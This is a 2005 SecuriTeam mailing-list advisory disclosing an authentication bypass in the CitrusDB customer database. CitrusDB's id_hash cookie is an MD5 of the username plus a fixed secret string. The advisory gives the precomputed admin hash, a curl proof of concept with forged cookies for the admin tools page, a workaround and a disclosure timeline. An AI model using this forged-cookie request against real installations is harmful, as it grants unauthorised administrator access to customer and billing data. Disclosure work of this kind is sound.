

# [UNIX] Authentication Bypass In CitrusDB

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0082.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 02/21/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 21 Feb 2005 12:39:06 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Authentication Bypass In CitrusDB

---

## SUMMARY

<<http://www.citrusdb.org/>> CitrusDB is "an open source customer database application that uses PHP and a database backend (currently MySQL) to keep track of customer information, services, products, billing, and customer service information".

CitrusDB uses an easily computable cookie for every user for identification allowing a remote user to easily create the cookie required to logon as the administrator of the product.

## DETAILS

CitrusDB uses a cookie `user_name` to determine the name of the user and a cookie `id_hash` to check if the `user_name` is valid. The `id_hash` is a MD5 checksum of the username with the string "boogaadeeboo" appended.

Example:

`user_name`: admin

`id_hash`: `md5sum("adminboogaadeeboo") = 4b3b2c8666298ae9771e9b3d38c3f26e`

An attacker only needs to guess a correct username, "admin" normally will work since it is the default administrator name in CitrusDB.

## Securiteam: [UNIX] Authentication Bypass In CitrusDB

### Proof of Concept

```
curl -D --cookie "id_hash=4b3b2c8666298ae9771e9b3d38c3f26e;  
user_name=admin" http://>/citrusdb/tools/index.php
```

### Workaround

Change \$hidden\_hash\_var in /citrusdb/include/user.inc.php to a value different than "boogaadeeboo". This way the an attacker needs to acquire a correct cookie to get access or brute force a given MD5 in order to obtain the configured \$hidden\_has\_var.

### Disclosure Timeline:

2005-02-04 Email sent to author  
2005-02-12 CVE number requested  
2005-02-14 posted as CAN-2005-0408

### ADDITIONAL INFORMATION

The information has been provided by

<mailto:dornseif@informatik.rwth-aachen.de> Maximillian Dornseif.

The original article can be found at:

<<http://tsyklon.informatik.rwth-aachen.de/redteam/advisories/rt-sa-2005-002.txt>>

<http://tsyklon.informatik.rwth-aachen.de/redteam/advisories/rt-sa-2005-002.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.